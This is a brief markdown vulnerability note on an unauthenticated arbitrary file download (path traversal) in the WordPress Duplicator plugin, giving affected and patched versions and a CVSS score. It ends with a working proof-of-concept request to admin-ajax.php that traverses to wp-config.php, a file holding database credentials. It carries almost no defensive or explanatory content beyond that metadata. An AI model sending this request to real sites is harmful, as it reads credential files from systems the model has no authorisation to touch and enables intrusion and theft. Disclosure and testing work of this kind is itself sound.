duplicator Path Traversal.md

Description: Unauthenticated Arbitrary File Download

Affected Plugin: Duplicator

Affected Versions: <= 1.3.26

CVSS Score: 7.5 (High)

Patched Version: 1.3.28

Active installations: 1+ million

POC:

/wp-admin/admin-ajax.php?action=duplicator_download&file=/../wp-config.php